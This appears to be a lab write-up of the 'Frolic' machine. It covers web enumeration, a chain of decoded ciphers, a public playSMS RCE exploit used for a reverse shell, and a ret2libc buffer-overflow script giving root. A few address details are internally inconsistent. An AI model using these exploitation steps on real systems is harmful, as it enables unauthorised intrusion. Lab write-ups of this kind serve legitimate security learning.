Frolic

Gaining Access

Nmap scan:

Interesting stuff.

Port 9999 Backup

Port 9999 was running a typical nginx web application. I used gobuster to find some hidden directories.

Going to /backup reveals some credentials and another hidden directory.

There was nothing interesting in these files, but I found it rather odd that the /backup folder had the loop/ directory within it.

I proceeded to run feroxbuster on the website to recursively enumerate all directories present. This allowed me to find the /dev/backup folder which contained another directory.

PlaySMS

Going to the directory that we just found, we can see another login page.

I viewed the page source, and found the password in the JS code within the page.

Then, when logged in, we find this cipher.

Crypto Puzzles

From here, the box evolved into a short series of puzzles involving decrypting stuff.

The cipher we just found was an Ook! cipher. When decoded, this is all it says:

Nothing here check /asdiSIAJJ0QWE9JAS

Afterwards, we would get another cipher.

I recognised this as base64 and attempted to decode it, but it returned non-readable characters.

This was some type of zip folder, because it contained an index.php file within it, and also it had the PK file signature (which indicates ZIP folders). So I decoded this to find a password protected zip file, which could be cracked using zip2john.

Then, index.php was another cipher.

4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

This time, this was in hex. When decoded from hex, we get another cipher:

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Now, it's base64 (as from the double = at the back). When decoded, we get yet another cipher.

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<

This is the Brainfuck cipher, which can be decoded to find idkwhatispass.

File Upload RCE

Now, we had another credential to try. I attempted logins using admin:idkwhatispass and logged in to the playSMS service yet again.

playSMS had a few RCE exploits, so I grabbed one from Github and tried it.

LogoCVE-2017-9101/playsmshell.py at master ยท jasperla/CVE-2017-9101GitHub

Worked! Now, we can get a reverse shell easily using a bash one-liner.

Then we would gain a reverse shell as www-data.

Privilege Escalation

Binary Enum

The user on this machine had an interesting .binary directory within their home directory.

In the /home/ayush/.binary directory, we can find this rop SUID binary.

I ran an ltrace on the binary and tested it with some random input. I found that this uses the strcpy function, which is vulnerable to a BOF exploit.

Ran a checksec on it too:

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

So ASLR is disabled, but NX is enabled. This means the stack is non-executable. As such, we can just do a Ret2Libc attack.

Ret2Libc

To execute this attack, we would need 3 addresses:

  1. system() function

  2. Address of /bin/sh

  3. exit() function

  4. Base address of library (via ldd)

To find these, we can search the /lib/i386-linux-gnu/libc.so.6 file for the respective addresses.

ldd rop
# 0xb7f74a0b is the base address

# for /bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
15ba0b /bin/sh

# for system()
objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "system"
0003ada0 system

# for exit()
objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "exit"
0002e9d0 exit

For each of these addresses, we would need to find the final address by adding the offset to the base address. This would give the following:

exit() -> 0xb7e479d0
system() -> 0xb7e53da0
/bin/sh -> 0xb7f74a0b

Afterwards, we need to fuzz the binary to find the number of junk characters required via pattern_offset.rb.

We can then create a quick script using Python.

#!/usr/bin/python2
import struct

system_addr = struct.pack("<I", 0xb7e53da0)
exit_addr = struct.pack("<I", 0xb7e479d0)
sh_addr = struct.pack("<I", 0xb7f74a0b)

buffer = "A" * 52
buffer += system_addr
buffer += exit_addr
buffer += sh_addr

print buffer

Then, we can run the binary and use the output from this script as the input from stdin. This would drop us in a root shell.

www-data@frolic:/home/ayush/.binary$ ./rop `python2 /tmp/exploit.py`
whoami
root
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